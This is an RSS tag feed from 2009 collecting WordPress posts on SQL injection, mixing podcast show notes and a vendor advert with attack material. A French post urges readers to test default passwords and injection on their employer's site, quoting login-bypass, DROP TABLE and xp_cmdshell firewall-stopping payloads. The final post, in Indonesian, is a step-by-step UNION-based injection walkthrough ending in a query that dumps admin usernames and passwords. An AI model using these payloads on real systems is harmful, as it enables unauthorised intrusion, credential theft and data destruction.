<?xml version="1.0" encoding="UTF-8"?><!-- generator="wordpress.com" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>sql-injection &amp;laquo; WordPress.com Tag Feed</title>
	<link>http://en.wordpress.com/tag/sql-injection/</link>
	<description>Feed of posts on WordPress.com tagged "sql-injection"</description>
	<pubDate>Fri, 27 Nov 2009 20:21:40 +0000</pubDate>

	<generator>http://en.wordpress.com/tags/</generator>
	<language>en</language>

<item>
<title><![CDATA[Eval Injection]]></title>
<link>http://fentanyl.wordpress.com/2009/11/27/eval-injection/</link>
<pubDate>Fri, 27 Nov 2009 19:11:13 +0000</pubDate>
<dc:creator>fentanyl</dc:creator>
<guid>http://fentanyl.wordpress.com/2009/11/27/eval-injection/</guid>
<description><![CDATA[]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p><a href="http://fentanyl.wordpress.com/files/2009/11/1.jpg"><img class="alignleft size-full wp-image-2416" title="1" src="http://fentanyl.wordpress.com/files/2009/11/1.jpg" alt="" width="600" height="2142" /></a></p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Paris IT Security Forum exposes the French top brass to Israel's latest offerings.]]></title>
<link>http://nanojv.wordpress.com/2009/11/26/france-israel-security-forum/</link>
<pubDate>Wed, 25 Nov 2009 21:37:57 +0000</pubDate>
<dc:creator>NANOJV JOINT VENTURES CONSTRUCTOR</dc:creator>
<guid>http://nanojv.wordpress.com/2009/11/26/france-israel-security-forum/</guid>
<description><![CDATA[By Brett Kline 25 Nov 2009   Daniel Biran, head of N-Trance Global Tech, brought a &#8220;smart]]></description>
<content:encoded><![CDATA[By Brett Kline 25 Nov 2009   Daniel Biran, head of N-Trance Global Tech, brought a &#8220;smart]]></content:encoded>
</item>
<item>
<title><![CDATA[SQL Injection]]></title>
<link>http://seriosnetworks.wordpress.com/2009/11/24/sql-injection/</link>
<pubDate>Tue, 24 Nov 2009 17:06:24 +0000</pubDate>
<dc:creator>seriosnetworks</dc:creator>
<guid>http://seriosnetworks.wordpress.com/2009/11/24/sql-injection/</guid>
<description><![CDATA[Is your website vulnerable to a SQL Injection attack? Has your website been hacked recently? These a]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Is your website vulnerable to a SQL Injection attack? Has your website been hacked recently?</p>
<p>These are questions you should be asking is you operate or own your own website.</p>
<p>To quote USAToday: <a title="USAToday SQL Injection" href="http://www.usatoday.com/tech/news/2009-03-16-sql-attacks-cyber-security_N.htm" target="_blank">Website-infecting SQL injection attacks hit 450,000 a day</a>! What does this mean to you? It means that your website might be a target. Through our independent research we have found SQL injection exploits and XSS vulnerabilities throughout every kind and sort of website. On might say their website is fine because they don&#8217;t collect credit card information but that&#8217;s simply untrue. There are several reasons why an attacker might hack your website:</p>
<ol>
<li>Profit. An attacker might attack your website in order to gain access to sensitive information such as credit card numbers or personal information which might compromise your clients/visitors identity resulting in identity theft.</li>
<li>Defacement. This form of attack is meant to simply take over your website and replace pages with hacked pages. This is a form attack is bragging about hacking ability and typically circulates within the hacking community. You can find out more about these types of hacks at the Hacker Bragging post located at <a title="Zone-H" href="http://www.zone-h.org" target="_blank">www.zone-h.org</a>.</li>
<li>Large Scale. Most of us won&#8217;t ever see this form of hack or hack attempt since it&#8217;s normally initiated for wide scale profit reasons and typically the focus or larger groups or organizations. The targets are typically large companies with either huge data banks or private/financial records which are either sold on a black market or used to harm large companies and/or their reputations.</li>
</ol>
<p>The best way to ensure your website is protected is to have a penetration test run. These tests can check for vulnerabilities which a hacker might use in order to gain access to your website of the server your website is hosted on. You may also want to run a full penetration test even if you have a PCI Compliance badge on your website to ensure your client&#8217;s safety and security. Most PCI Scans are not heuristic so they are not intended to perform a deep scan.</p>
<p>Secure your website, secure your client information today by scanning your website. <a title="Security Scan" href="http://www.seriosnetworks.com" target="_self">Click here</a>.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Data Security Podcast Episode 82, Nov 24 2009]]></title>
<link>http://datasecurityblog.wordpress.com/2009/11/23/data-security-podcast-episode-82-nov-24-2009/</link>
<pubDate>Tue, 24 Nov 2009 06:31:20 +0000</pubDate>
<dc:creator>datasecurityblog</dc:creator>
<guid>http://datasecurityblog.wordpress.com/2009/11/23/data-security-podcast-episode-82-nov-24-2009/</guid>
<description><![CDATA[30 minutes every week on data security, privacy, and the law…..(plus or minus ten) On this week’s pr]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><div>
<div>
<h3 style="text-align:center;"><strong>30 minutes every week on data security, privacy, and the law…..(plus or minus ten)</strong></h3>
<p>On this week’s program:</p>
<p>* FBI Report: Latest target for the cybercriminal? Law Firms and PR Firms<strong><br />
</strong></p>
<p>* Adobe Speaks: special segment with their senior security officers</p>
<p>* Our take on this week’s news.</p>
<p>–&#62; Stream This Week’s Show with our Built-In Flash Player:</p>
<p><span style='text-align:left;display:block;'><p><object type='application/x-shockwave-flash' data='http://wordpress.com/wp-content/plugins/audio-player/player.swf' width='290' height='24' id='audioplayer1'><param name='movie' value='http://wordpress.com/wp-content/plugins/audio-player/player.swf' /><param name='FlashVars' value='&amp;bg=0xf8f8f8&amp;leftbg=0xeeeeee&amp;lefticon=0x666666&amp;rightbg=0xcccccc&amp;rightbghover=0x999999&amp;righticon=0x666666&amp;righticonhover=0xffffff&amp;text=0x666666&amp;slider=0x666666&amp;track=0xFFFFFF&amp;border=0x666666&amp;loader=0x9FFFB8&amp;soundFile=http%3A%2F%2Fsecurity.talkworkshop.com%2Fdatasecpodcast_82.mp3' /><param name='quality' value='high' /><param name='menu' value='false' /><param name='bgcolor' value='#FFFFFF' /></object></p></span></p>
<p>–&#62; Scroll down to see links and show notes for this week’s show</p>
<p>–&#62; <a title="Data Security Podcast" href="http://feeds.feedburner.com/datasecuritypodcast" target="_blank">Stream, subscribe or download Episode 82</a> – Listen or subscribe to the feed to automatically get the latest episode sent to you to your Google, Yahoo, iTunes, or other popular sites.</p>
<p>–&#62;<a title="iTunes" href="http://itunes.datasecuritypodcast.com/">Tune into the show directly on iTunes,</a> you can also subscribe to the program on iTunes.</p>
<p>–&#62;  A simple way to listen to the show from with stricter firewalls:  <a title="odeo" href="http://odeo.com/channels/2120516-Data-Security-Podcast/episodes" target="_blank">Listen from Odeo</a>. This site works better if you are behind a more restrictive enterprise firewall.</p>
<p>Please visit our sponsors, and be sure to let them know you heard about them on The Data Security Podcast:</p>
<ul>
<li> Vipre Anti-Virus, the complete Antimalware solution by Sunbelt Software. If you TRY the enterprise version, you get the home version for FREE! Go to: <a title="Test Drive Vipre" href="http://www.testdrivevipre.com/" target="_blank">http://www.testdrivevipre.com</a> .</li>
</ul>
<ul>
<li>GamaSec Web App Scans: Spots cyber-hazards on your web site, and has advanced zero-day protection. <a title="GamaSec Free Web App Scan" href="https://www.gamasec.com/gsf/FreeTrial.aspx" target="_blank">GET YOUR FREE BASIC WEB APP SCAN</a>, plus a special offer just for listeners to The Data Security Podcast. Go here to sign up, and add the offer code: <strong>Podcast</strong>.</li>
</ul>
<ul>
<li>SonicWall;  Get the super fast UTM firewall that’s rated Five Stars (the Best rating) by <a title="SC Magazine" href="http://www.scmagazineus.com/SonicWALL-TZ-210-Wireless-N/Review/2799/" target="_blank">Secure Computing Magazine</a>.  <a title="SonicWalls" href="http://dataclonelabs.com/index.php?option=com_content&#38;task=view&#38;id=101&#38;Itemid=158" target="_blank">Data Clone Labs</a> is the premier SonicWall Medallion Partner for all your security needs.</li>
</ul>
<ul>
<li> <a title="DeviceLock" href="http://www.devicelock.com/" target="_blank">DeviceLock</a>; Software that controls, manages and helps encrypt USB drives and other removable media. Get a free trial on their site, and be sure to let them know you heard about them on The Data Security Podcast.</li>
</ul>
<p><strong>Show Notes for Episode 82 of the Data Security Podcast</strong></p>
<p><img class="alignleft" title="Adobe Flash" src="http://www.adobe.com/devnet/images/160x160/logo_flashplayer.jpg" alt="Adobe Flash Logo" width="160" height="160" />* Ira has a conversation with two security officers at Adobe Systems about the allegations made by web security researcher Mike Bailey of unpatchable &#8220;Same Origin Flaws&#8221; in Adobe Flash.  Brad Arkin, Director of Product Security and Privacy, and Peleus Uhley, Senior Security Researcher give their take on Mike Bailey&#8217;s claims. Here are the links mentioned in the segment:</p>
<p style="padding-left:30px;">
<div style="padding-left:30px;">- Adobe Flash Player <a title="Flash White Paper" href="http://www.adobe.com/devnet/flashplayer/articles/flash_player10_security_wp.html" target="_blank">security white paper</a></div>
<p style="padding-left:30px;">- Browser Security Handbook, Part 2—Information on the <a title="Security Handbook" href="http://code.google.com/p/browsersec/wiki/Part2#Same-origin_policy" target="_blank">Same-Origin Policy</a>.</p>
<p style="padding-left:30px;">-  <a title="Adobe Flash article" href="http://www.adobe.com/devnet/flashplayer/articles/secure_swf_apps.html" target="_blank"> Peleus Uhley’s article</a> on creating more secure Flash applications / “Understanding that SWFs are Code”</p>
<p>* Tales From The Dark Web: FBI WARNING: <a title="FBI Warning" href="http://www.darkreading.com/security/vulnerabilities/showArticle.jhtml?articleID=221900096" target="_blank">U.S. LAW FIRMS AND PUBLIC RELATIONS FIRMS</a>.  That link is a copy of the <a title="FBI Warning" href="http://www.fbi.gov/cyberinvest/escams.htm" target="_blank">FBI posting</a>. The FBI does not contain a permanent link, so it may become hard to find as new stories are posted above this law firm alert.</p>
<p>* From Our Take on The News:  <a title="UMC Records Leak" href="http://www.lasvegassun.com/news/2009/nov/21/fbi-looking-umc-records-leak/" target="_blank">FBI looking at UMC records leak: Agent says ‘multiple federal laws’ might have been violated</a>. Hat tip to the Las Vegas Sun newspaper for the investigative reporting on this story.</p>
<p>* From Our Take on The News:  <a title="Symantec SQL Attack" href="http://unu123456.baywords.com/2009/11/23/symantec-exposed-passwordsserials-sql-injection-full-database-access/" target="_blank">Symantec exposed passwords, serials numbers;  SQL Injection, full database access</a>, from Romanian security researcher, Unu. Apologies for mis-spelling Unu&#8217;s name on the show.<a title="IE Zero-Day" href="http://isc.sans.org/diary.html?storyid=7624" target="_blank"><img class="    alignright" title="Microsoft Internet Explorer 6 Icon" src="http://blogs.zdnet.com/security/images/internet_explorer.png" alt="" width="70" height="74" /></a></p>
<p>*  From The Wrap:  Read the SANS Internet Storm Center&#8217;s reports on <a title="IE Zero-Day" href="http://isc.sans.org/diary.html?storyid=7624" target="_blank">IE</a><a title="IE Zero-Day" href="http://isc.sans.org/diary.html?storyid=7624" target="_blank">6 </a><a title="IE Zero-Day" href="http://isc.sans.org/diary.html?storyid=7624" target="_blank">and IE7 web browser 0-Day Flaw</a>, and <a title="SANS" href="http://isc.sans.org/diary.html?storyid=7633" target="_blank">an Update</a>. No patch available (yet?), but Microsoft has some mitigation suggestions, linked through the Update.</p>
</div>
</div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Sécuritaire, mon oeil!]]></title>
<link>http://tiidealiste.wordpress.com/2009/11/21/securitaire-mon-oeil/</link>
<pubDate>Sat, 21 Nov 2009 20:50:42 +0000</pubDate>
<dc:creator>tiidealiste</dc:creator>
<guid>http://tiidealiste.wordpress.com/2009/11/21/securitaire-mon-oeil/</guid>
<description><![CDATA[Dans un monde idéal, je ne passerais pas mes fins de semaine à plier du linge. Assise sur le divan d]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Dans un monde idéal, je ne passerais pas mes fins de semaine à plier du linge.</p>
<p>Assise sur le divan du salon, entourée de toute part par du linge frais lavé, je plie et empile. Lorsqu&#8217;enfin la pile de ma fille est assez haute et risque de s&#8217;effondrer, je me lève et me dirige vers sa chambre pour déposer le tout sur son lit.  Sa porte est fermée et un curieux petit &#8220;Post-it&#8221; jaune attire mon attention. Je cogne en demandant si je peux entrer.</p>
<p>- <em>&#8220;Nonnnnnn!  As-tu fait le code?&#8221;</em>, me répond-elle de l&#8217;autre côté de la porte.</p>
<p>Le code????!!!!!</p>
<p>- <em>&#8220;Heu! Non!  Qu&#8217;est-ce que c&#8217;est que cette histoire de code?&#8221;</em>, dis-je.</p>
<p>- <em>&#8220;Tu vois le papier sur la porte? Il faut que tu fasses le code pour entrer.&#8221;</em> me dit-elle simplement.</p>
<p>Je vois le papier en question. C&#8217;est le fameux &#8220;Post-it&#8221;. Je remarque qu&#8217;elle a dessiné un clavier numérique. Je souris et fais semblant de pianoter quelque chose.  Au moment où je m&#8217;apprête à entrer, elle me demande :</p>
<p>- <em>&#8220;Pis!  C&#8217;est quoi le code?&#8221;</em></p>
<p>- <em>&#8220;Heu!&#8230; </em>(pense vite ma vieille)<em>&#8230; 12345.&#8221;</em></p>
<p>- <em>&#8220;Non!&#8221;</em> répond-elle sèchement.</p>
<p>- <em>&#8220;Ben, c&#8217;est quoi alors?&#8221;</em></p>
<p>- <em>&#8220;Regarde sous le papier. C&#8217;est pour ça que c&#8217;est un &#8220;Post-it&#8221;, ça se recolle facilement!&#8221;</em></p>
<p>Pour le côté sécurité, on repassera mais pour le côté pratique, c&#8217;est super!  Je soulève le papier, regarde le code et le pianote à nouveau sur le faux clavier.</p>
<p>- <em>&#8220;Tu as fait le bon code cette fois?&#8221;</em></p>
<p>- <em>&#8220;Oui madame! Est-ce que je peux entrer maintenant?&#8221;</em></p>
<p>- <em>&#8220;OK&#8221;</em></p>
<p>Je dépose la pile de linge et retourne au salon, songeuse. Dans le monde où l&#8217;on vit, les mots de passe sont devenus un vrai casse-tête.  Il y en a pour tout :</p>
<ul>
<li>l&#8217;ordinateur au bureau;</li>
<li>le compte en banque sur internet ou sur paypal;</li>
<li>le compte Linked In ou autre réseau social;</li>
<li>l&#8217;extranet pour faire notre feuille de temps à distance;</li>
<li>le nip de notre carte de guichet automatique ou pour la carte de crédit;</li>
<li>la liste de souhaits sur Amazon;</li>
<li>&#8230; j&#8217;en passe et des meilleurs.</li>
</ul>
<p>Comme l&#8217;être humain est paresseux et manque souvent d&#8217;imagination, tous les hackers de ce monde savent que nous réutilisons le même mot de passe le plus souvent possible et donc une fois trouvé, ils peuvent faire le tour de notre jardin secret. Pire encore, nous en choisissons un qui soit souvent évident comme notre date de naissance, le nom de nos enfants ou de notre perruche, notre adresse civique ou toute combinaison semblable et surtout facile à craquer.</p>
<p>Pour les cas où ça n&#8217;est pas possible (mot de passe imposé au bureau par exemple), rares sont ceux qui se fient à leur mémoire. Il est vrai que retenir un truc du genre &#8220;<em>Xs186fGnR5</em>&#8221; n&#8217;est pas chose facile&#8230; alors, on l&#8217;écrit. Sur un petit bout de papier caché dans notre tiroir à crayons, sous le sous-main, sous les feuilles accrochées au mur autour de notre bureau, derrière le cadre de photo de famille et même parfois sur un &#8220;Post-it&#8221; collé sur notre écran.  Pas malin me direz-vous et pourtant, très courant!</p>
<p>Il arrive aussi que, lorsqu&#8217;on en a trop, certains les conservent dans un fichier (généralement intitulé &#8220;password.txt&#8221;!!!) bien en vu sur notre &#8220;desktop&#8221; ou dans &#8220;mes documents&#8221;.  On y lie les données sensibles à leur source respective comme un URL ou une étiquette du genre &#8220;<em>carte de crédit</em>&#8221; facilitant ainsi la tâche aux Vilains. Quand c&#8217;est le cas, le mot de passe requis pour ouvrir une session Windows est souvent très banal&#8230; malheureusement.</p>
<p>Il y a aussi le cas des programmeurs et des testeurs qui créent des profils fictifs pour tester des applications. On pense alors à :</p>
<ul>
<li>username : test1, test2, &#8230; ou user,&#8230; ou johndoe, ou toto, titi, tata, asdf, etc.</li>
<li>password : password, test, asdf, toto, titi, tata, 12345, ou même rien du tout (c&#8217;est tellement chiant de saisir ces donnés à tous les jours pour tester des systèmes)</li>
</ul>
<p>Faites un test sur le site de votre employeur et allez dans la zone privée en utilisant ce genre de combinaison. Vous pourriez être surpris des résultats. En plus, les testeurs utilisent souvent des profils ayant un niveau de permission assez élevé car, ils ont besoin de tout tester.</p>
<p>Si ça ne fonctionne pas, ne vous découragez pas et essayez le SQL Injection dont voici un exemple tout simple emprunté à Wikipédia donc grand public :</p>
<p><em>&#8220;&#8230; Supposons maintenant que le pirate veuille non pas tromper le script SQL sur le nom d&#8217;utilisateur, mais sur le mot de passe. Il pourra alors injecter le code suivant :</em></p>
<p><em>* Utilisateur : <span style="color:#008080;">Dupont</span><br />
* Mot de passe : <span style="color:#008080;">&#8216; or 1=1&#8211;</span></em></p>
<p><em>L&#8217;apostrophe indique la fin de la zone de frappe de l&#8217;utilisateur, le code &#8220;<span style="color:#008080;">or 1=1</span>&#8221; demande au script si <span style="color:#008080;">1=1</span> est vrai, or c&#8217;est toujours le cas, et <span style="color:#008080;">&#8211; </span>indique le début d&#8217;un commentaire. La requête devient alors :</em></p>
<p><span style="color:#008080;"><em>SELECT uid WHERE name = &#8216;Dupont&#8217; AND password = &#8216; &#8216; OR 1=1 &#8212; 45723a2af3788c4ff17f8d1114760e62&#8242;;</em></span></p>
<p><em>Ainsi le script programmé pour vérifier si ce que l&#8217;utilisateur tape est vrai, il verra que <span style="color:#008080;">1=1</span> est vrai, et le pirate sera connecté sous la session <span style="color:#008080;">Dupont</span>.&#8221;</em></p>
<p>Si ça vous intéresse, lisez également ceci : <a href="http://www.linux-pour-lesnuls.com/injection.php" target="_blank">http://www.linux-pour-lesnuls.com/injection.php</a> On y explique entre autre qu&#8217;en changeant le mot de passe par &#8220;<em><span style="color:#008080;"> &#8216; OR 1=1&#8243;); drop table users;</span></em>&#8221; ont peut effacer la table des usagers ou pire, on remplace le password par &#8221; <span style="color:#008080;"><em>&#8216;; exec master..xp_cmdshell &#8216;net stop firewall&#8217;; &#8211;</em></span> &#8221; et on ouvre littéralement les portes pour tester tous les ports afin de pénétrer dans le système visé.  En passant, les programmeurs ne sont pas plus créatifs pour les noms de table!!!  Essayez ce qui vous paraît le plus évident (comme USERS ou LOGIN) juste pour voir.</p>
<p>C&#8217;est également de cette façon que l&#8217;on peut inclure des scripts dans une base de données en lançant une commande &#8220;<span style="color:#008080;"><em>Update</em></span>&#8220;. C&#8217;est ce qui est arrivé à un endroit où j&#8217;étais en mandat. Le problème a été identifié grâce à un internaute qui avait rapporté le fait que son fureteur refusait d&#8217;afficher la page du site et présentait plutôt un texte choc l&#8217;informant que le site n&#8217;était pas sûr.  Belle publicité!  Adieu la crédibilité!</p>
<p>Le problème a été réglé bien entendu mais il a fallu communiquer avec Google qui affichait le message de mise en garde pour lui dire de revisiter notre page pour pouvoir la retirer de sa liste noire.  En tout, le site a été perturbé pendant plus d&#8217;une semaine.  Pensez-y!</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Data Security Podcast Episode 80, Nov 19 2009]]></title>
<link>http://datasecurityblog.wordpress.com/2009/11/19/data-security-podcast-episode-80-nov-19-2009/</link>
<pubDate>Thu, 19 Nov 2009 14:23:31 +0000</pubDate>
<dc:creator>datasecurityblog</dc:creator>
<guid>http://datasecurityblog.wordpress.com/2009/11/19/data-security-podcast-episode-80-nov-19-2009/</guid>
<description><![CDATA[For Thursday November 19th, and Friday November 20th, we depart from our regular format for those wi]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><h3>For Thursday November 19th, and Friday November 20th, we depart from our regular format for those with an advanced understanding of information security technologies<strong>. </strong></h3>
<h3><strong>These two special editions feature technical conversations with newsmakers on new counter measures to fight web drive-by downloads. Part one (this episode) features</strong> Pedro Bustamante, Senior Security Researcher with PandaSecurity. Part two will post tomorrow, with an EXCLUSIVE interview with the creators of a new hardware sandbox approach to this vexing security issue.</h3>
<h3><strong>We will return to our regular format of the latest news on <strong>data security, privacy, and the law </strong>with Episode 82.  Episode 82 is scheduled to post Sunday night /Monday morning, November 23rd, 2009 at ~12.01am Greenwich Mean Time. That is our regularly scheduled show posting time.<br />
</strong></h3>
<p>On Episode 80:  InfoSec Conversation with Pedro Bustamante on countering web drive-by downloads.</p>
<p>–&#62; Stream This Special Episode with our Built-In Flash Player:</p>
<p><span style='text-align:left;display:block;'><p><object type='application/x-shockwave-flash' data='http://wordpress.com/wp-content/plugins/audio-player/player.swf' width='290' height='24' id='audioplayer1'><param name='movie' value='http://wordpress.com/wp-content/plugins/audio-player/player.swf' /><param name='FlashVars' value='&amp;bg=0xf8f8f8&amp;leftbg=0xeeeeee&amp;lefticon=0x666666&amp;rightbg=0xcccccc&amp;rightbghover=0x999999&amp;righticon=0x666666&amp;righticonhover=0xffffff&amp;text=0x666666&amp;slider=0x666666&amp;track=0xFFFFFF&amp;border=0x666666&amp;loader=0x9FFFB8&amp;soundFile=http%3A%2F%2Fsecurity.talkworkshop.com%2Fdatasecpodcast_80.mp3' /><param name='quality' value='high' /><param name='menu' value='false' /><param name='bgcolor' value='#FFFFFF' /></object></p></span></p>
<p>–&#62; Scroll down to see links and show notes for this week’s show</p>
<p>–&#62; <a title="Data Security Podcast" href="http://feeds.feedburner.com/datasecuritypodcast" target="_blank">Stream, subscribe or download Episode 80</a> – Listen or subscribe to the feed to automatically get the latest episode sent to you to your Google, Yahoo, iTunes, or other popular sites.</p>
<p>–&#62;<a title="iTunes" href="http://itunes.datasecuritypodcast.com/">Tune into the show directly on iTunes,</a> you can also subscribe to the program on iTunes.</p>
<p>–&#62;  A simple way to listen to the show from with stricter firewalls:  <a title="odeo" href="http://odeo.com/channels/2120516-Data-Security-Podcast/episodes" target="_blank">Listen from Odeo</a>. This site works better if you are behind a more restrictive enterprise firewall.</p>
<p>Please visit our sponsors, and be sure to let them know you heard about them on The Data Security Podcast:</p>
<ul>
<li> Vipre Anti-Virus, the complete Antimalware solution by Sunbelt Software. If you TRY the enterprise version, you get the home version forFREE! Go to: <a title="Test Drive Vipre" href="http://www.testdrivevipre.com/" target="_blank">http://www.testdrivevipre.com</a> .</li>
</ul>
<ul>
<li>GamaSec Web App Scans: Spots cyber-hazards on your web site, and has advanced zero-day protection. <a title="GamaSec Free Web App Scan" href="https://www.gamasec.com/gsf/FreeTrial.aspx" target="_blank">GET YOUR FREE BASIC WEB APP SCAN</a>, plus a special offer just for listeners to The Data Security Podcast. Go here to sign up, and add the offer code: <strong>Podcast</strong>.</li>
</ul>
<ul>
<li>SonicWall;  Get the super fast UTM firewall that’s rated Five Stars (the Best rating) by <a title="SC Magazine" href="http://www.scmagazineus.com/SonicWALL-TZ-210-Wireless-N/Review/2799/" target="_blank">Secure Computing Magazine</a>.  <a title="SonicWalls" href="http://dataclonelabs.com/index.php?option=com_content&#38;task=view&#38;id=101&#38;Itemid=158" target="_blank">Data Clone Labs</a> is the premier SonicWall Medallion Partner for all your security needs.</li>
</ul>
<ul>
<li> <a title="DeviceLock" href="http://www.devicelock.com/" target="_blank">DeviceLock</a>; Software that controls, manages and helps encrypt USB drives and other removable media. Get a free trial on their site, and be sure to let them know you heard about them on The Data Security Podcast.</li>
</ul>
<p><strong>Show Notes for Episode 80 of the Data Security Podcast</strong></p>
<p>Ira has an extended, technical conversation with Pedro Bustamante, Senior Security Researcher with PandaSecurity.  Ira and Pedro will discuss web drive-by downloads. Here is <a title="Panda" href="http://cloudprotection.pandasecurity.com/" target="_blank">the link that Pedro mentions</a> in the segment.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[SQL Injection Vol-3]]></title>
<link>http://fsdoei.wordpress.com/2009/11/17/sql-injection-vol-3/</link>
<pubDate>Tue, 17 Nov 2009 06:22:53 +0000</pubDate>
<dc:creator>fsdoei</dc:creator>
<guid>http://fsdoei.wordpress.com/2009/11/17/sql-injection-vol-3/</guid>
<description><![CDATA[Undisclosed version dari salah satu artikel gw&#8230;. &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;]]></description>
<content:encoded><![CDATA[Undisclosed version dari salah satu artikel gw&#8230;. &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;]]></content:encoded>
</item>
<item>
<title><![CDATA[SQL Injection vol-2]]></title>
<link>http://fsdoei.wordpress.com/2009/11/17/sql-injection-vol-2/</link>
<pubDate>Tue, 17 Nov 2009 06:21:20 +0000</pubDate>
<dc:creator>fsdoei</dc:creator>
<guid>http://fsdoei.wordpress.com/2009/11/17/sql-injection-vol-2/</guid>
<description><![CDATA[Artikel lama neh hehehe&#8230; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- :::PREFACE:]]></description>
<content:encoded><![CDATA[Artikel lama neh hehehe&#8230; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- :::PREFACE:]]></content:encoded>
</item>
<item>
<title><![CDATA[SQL Injection Vol-1]]></title>
<link>http://fsdoei.wordpress.com/2009/11/17/sql-injection-vol-1/</link>
<pubDate>Tue, 17 Nov 2009 06:19:57 +0000</pubDate>
<dc:creator>fsdoei</dc:creator>
<guid>http://fsdoei.wordpress.com/2009/11/17/sql-injection-vol-1/</guid>
<description><![CDATA[Artikel lama neh hehehe&#8230; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- ::PREFACE::]]></description>
<content:encoded><![CDATA[Artikel lama neh hehehe&#8230; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- ::PREFACE::]]></content:encoded>
</item>
<item>
<title><![CDATA[SQL Injection + Backdooring]]></title>
<link>http://anaksapek.wordpress.com/2009/11/16/sql-injection-backdooring/</link>
<pubDate>Mon, 16 Nov 2009 07:40:24 +0000</pubDate>
<dc:creator>anaksapek</dc:creator>
<guid>http://anaksapek.wordpress.com/2009/11/16/sql-injection-backdooring/</guid>
<description><![CDATA[&#8212;-&gt;&gt;&gt; 1 Kita tetapkan target terlebih dahulu contoh: [site]/news_Event/newsDetail.php]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>&#8212;-&#62;&#62;&#62; 1<br />
Kita tetapkan target terlebih dahulu<br />
contoh: [site]/news_Event/newsDetail.php?ID=2</p>
<p>Tambahkan karakter &#8216; pada akhir url atau menambahkan karakter &#8220;-&#8221; untuk melihat apakah ada vuln.<br />
contoh:<br />
[site]/news_Event/newsDetail.php?ID=-2 atau [site]/news_Event/newsDetail.php?ID=2&#8242;</p>
<p>&#8212;-&#62;&#62;&#62; 2<br />
mencari dan menghitung jumlah table yang ada dalam databasenya&#8230;<br />
gunakan perintah : +order+by+</p>
<p>contoh:<br />
[site]//news_Event/newsDetail.php?ID=-2+order+by+1&#8211;</p>
<p><!--more--></p>
<p>sekarang cek secara satu per satu<br />
contoh:<br />
[site]/news_Event/newsDetail.php?ID=-2+order+by+1&#8211;<br />
[site]/news_Event/newsDetail.php?ID=-2+order+by+2&#8211;<br />
[site]/news_Event/newsDetail.php?ID=-2+order+by+3&#8211;<br />
[site]/news_Event/newsDetail.php?ID=-2+order+by+4&#8211;</p>
<p>sehingga muncul error atau hilang pesan error&#8230;<br />
misal:<br />
[site]/news_Event/newsDetail.php?ID=-2+order+by+5&#8211;</p>
<p>berarti yang kita ambil adalah sampai angka 4<br />
menjadi<br />
[site]/news_Event/newsDetail.php?ID=-2+union+select+4&#8211;</p>
<p>&#8212;&#62;&#62;&#62; 3<br />
untuk mengeluarkan angka berapa yang muncul gunakan perintah union<br />
karena tadi error sampai angka 5<br />
maka:<br />
[site]/news_Event/newsDetail.php?ID=-2+order+by+4&#8211;</p>
<p>ok ,yg keluar angka 2<br />
gunakan perintah version() untuk mengecek versi sql yg diapakai masukan perintah tsb pada nagka yg keluar tadi<br />
contoh:<br />
[site]/news_Event/newsDetail.php?ID=-2+union+select+1,version(),3,4&#8211;</p>
<p>lihat versi yg digunakan, jika versi 4 tinggalkan saja karena dalam ver 4 ini kita harus menebak sendiri table n column yg ada pada web tersebut karena tidak bisa menggunakan perintah from+information_schema<br />
untuk versi 5 berarti anda beruntung tak perlu menebak table n column seperti ver 4 karena di ver 5 ini bisa menggunakan perintah from+information_schema</p>
<p>&#8212;&#62;&#62;&#62; 4<br />
Untuk menampilkan semua isi dari table tsb adalah<br />
perintah group_concat(table_name) -&#62; dimasukan pada angka yg keluar tadi<br />
perintah +from+information_schema.tables+where+table_schema=database()&#8211; -&#62; dimasukan setelah angka terakhir</p>
<p>contoh:<br />
[site]/news_Event/newsDetail.php?ID=-2+union+select+1,group_concat(table_name),3,4+from+information_schema.tables+where+table_schema=database()&#8211;</p>
<p>seumpama yg kita cari adalah &#8220;admin&#8221;</p>
<p>&#8212;&#62;&#62;&#62; 5<br />
Perintah group_concat(column_name) -&#62; dimasukan pada angka yg keluar tadi<br />
perintah +from+information_schema.columns+where+table_name=0xhexa&#8211; -&#62; dimasukan setelah angka terakhir</p>
<p>[site]/news_Event/newsDetail.php?ID=-2+union+select+1,group_concat(column_name),3,4+from+information_schema.columns+where+table_name=0xhexa&#8211;</p>
<p>pada tahap ini kalian wajib menconvert kata pada isi table menjadi hexadecimal.<br />
website yg digunakan untuk konversi :</p>
<p>http://tools.vyc0d.com/converter/</p>
<p>contoh kata yg ingin di konversi yaitu admin maka akan menjadi 61646d696e</p>
<p>[site]news_Event/newsDetail.php?ID=-2+union+select+1,group_concat(column_name),3,4+from+information_schema.columns+where+table_name=0&#215;61646d696e&#8211;</p>
<p>&#8212;&#62;&#62;&#62; 6<br />
Memunculkan apa yg tadi telah dikeluarkan dari table yaitu dengan cara</p>
<p>perintah group_concat(0&#215;3a,hasil isi column yg mau dikeluarkan) -&#62; dimasukan pada angka yg keluar tadi<br />
perintah +from+(nama table berasal) -&#62; dimasukan setelah angka terakhir</p>
<p>[site]/news_Event/newsDetail.php?ID=-2+union+select+1,group_concat(0&#215;3a,hasil isi column),3,4+from+(nama table berasal)&#8211;</p>
<p>contoh kata yang keluar adalah adminID,Name,password</p>
<p>maka<br />
[site]/news_Event/newsDetail.php?ID=-2+union+select+1,group_concat(adminID,0&#215;3a,Name,0&#215;3a,password),3,4+from+admin&#8211;</p>
